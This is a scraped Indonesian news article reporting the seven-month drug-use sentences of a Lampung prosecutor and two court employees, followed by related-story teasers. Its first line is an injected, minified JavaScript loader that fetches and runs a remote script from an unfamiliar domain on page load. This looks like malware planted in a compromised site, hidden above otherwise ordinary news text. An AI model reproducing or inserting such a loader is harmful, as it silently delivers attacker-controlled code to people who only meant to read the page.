(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Ketua Majelis Hakim Efiyanto menjatuhkan hukuman kurungan penjara selama tujuh bulan kepada terdakwa Rengga Puspa Negara seorang jaksa fungsional di Kejari Pesawaran, Lampung, karena terbukti mengonsumsi narkotika jenis sabu-sabu.
“Menjatuhkan hukuman kurungan penjara selama tujuh bulan,” kata Efiyanto dalam sidang di Pengadilan Negeri Kelas I Tanjungkarang, Bandarlampung, Senin (9/8/2021).
Selain terdakwa Rengga, dua terdakwa lainnya dijatuhi hukuman selama tujuh bulan. Mereka yakni Handro Yuricki, seorang Panitera Pengganti di Pengadilan Gedongtataan, Pesawaran, Lampung, dan Ali Ferdian, seorang PNS di Pengadilan Negeri Blambangan Umpu, Waykanan, Lampung.
Sebelumnya Jaksa Penuntut Umum Iskandarsyah menuntut ketiga terdakwa dengan hukuman kurungan penjara selama sepuluh bulan.
Baca juga: PPKM Level 4 Diperpanjang hingga 16 Agustus, Termasuk Banjarmasin dan Banjarbaru!
Dalam dakwaan sebelumnya, jaksa Rengga didakwa dengan Pasal 112 ayat (1) dan Pasal 127 ayat (1) UU No.35 Tahun 2009 Tentang Narkotika.
Kemudian terdakwa Handro Yuricki dan Ali Ferdian didakwa dengan tiga pasal yakni Pasal 114 ayat (1), Pasal 112 ayat (1), dan Pasal 127 ayat (1) UU RI No.35 Tahun 2009 Tentang Narkotika.
Ketiganya dijatuhi hukuman kurungan penjara atas perkara penyalahgunaan narkotika jenis sabu-sabu. Ketiganya ditangkap oleh Direktorat Reserse Narkoba Polda Lampung beberapa bulan lalu.
Jaksa Rengga ditangkap hasil pengembangan kedua rekannya yang terlebih dahulu ditangkap di Jalan Urip Sumoharjo, Bandarlampung. Rengga ditangkap di rumahnya di wilayah Sukabumi, Bandarlampung.
Dalam penangkapan di rumah Rengga, Polda Lampung menemukan barang bukti berupa timbangan sabu-sabu dan delapan butir peluru senjata api.
Selain itu juga menemukan satu perangkat alat hisap sabu-sabu, enam buah klip pakai sabu-sabu, satu klip berisi bibit ganja, dan satu korek api gas. (Antara/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.